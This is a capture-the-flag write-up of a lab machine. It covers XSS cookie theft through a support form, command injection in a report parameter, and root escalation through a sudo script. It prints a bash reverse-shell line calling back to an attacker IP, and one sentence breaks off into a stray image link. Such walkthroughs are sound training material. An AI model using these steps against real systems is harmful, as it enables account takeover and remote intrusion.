Information Gathering
Rustscan
Rustscan discovers SSH and port 5000 open:
Enumeration
HTTP - TCP 5000
HTTP is running on port 5000 and the websites is still under construction.
/support pages shows form for contacting support:
Directory Bruteforcing via Feroxbuster discovers a new path: /dashboard:
sudo feroxbuster -u http://10.10.11.8:5000 -C 404
/dashboard access is unauthorized:
In order to gain access to the dashboard, we will first need to login to the application. we would be able to exploit vulnerabilities such as XSS from the support page. By exploiting XSS, we can steal admin user cookie, and use it to sign-in as the administrator.
XSS Cookie Stealing
We will follow this articlefor XSS Cookie stealing.
Let’s first intercept the request connection to /support form using Burp Suite:
Utilizing the following code, we will be able to obtain user’s cookie and forward it to my listener:
From some investigation, it seems like XSS works when the payload is placed under both User-Agent and message parameter as such below:
Running the request with payload, we can obtain cookie value:
Let’s decrypt the cookie using base64:
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
Using the discovered cookie, let’s sign-in to dashboard:
Now we can successfully sign-in to Administrator Dashboard:
RCE to Reverse Shell
After intercepting the request for “Generate Report” using Burp Suite, we can modify the “date” parameter and perform Remote Code Execution.
Below, it shows RCE command for pwd
command via && pwd
:
pwd
command successfully runs:
Reverse shell
Let’s escalate this RCE vulnerability to Reverse shell.
We will first create file named rev.sh containing the following piece of code:
bash -i >& /dev/tcp/10.10.14.14/1337 0>&1
We will also prepare Python http server for transferring rev.sh over to the host machine:
Now, let’s modify the date parameter so that it will download rev.sh from the attacking xt](https://raw.githubusercontent.com/jadu101/jadu101.github.io/v4/Images/htb/headless/image-14.png)
On our netcat listener, we get a shell as dvir:
Privesc: dvir to root
Running command sudo -l
shows that /usr/bin/syscheck can be ran as the root:
This script uses an if
statement to check if a process named “initdb.sh” is running using pgrep
. If the process is not found (! /usr/bin/pgrep -x "initdb.sh" &>/dev/null
), it prints a message indicating that the database service is not running and starts it by executing ./initdb.sh
.
Let’s create initdb.sh and echo bash command in it as such:
We can obtain root privilege through /bin/bash -p
command after running syscheck: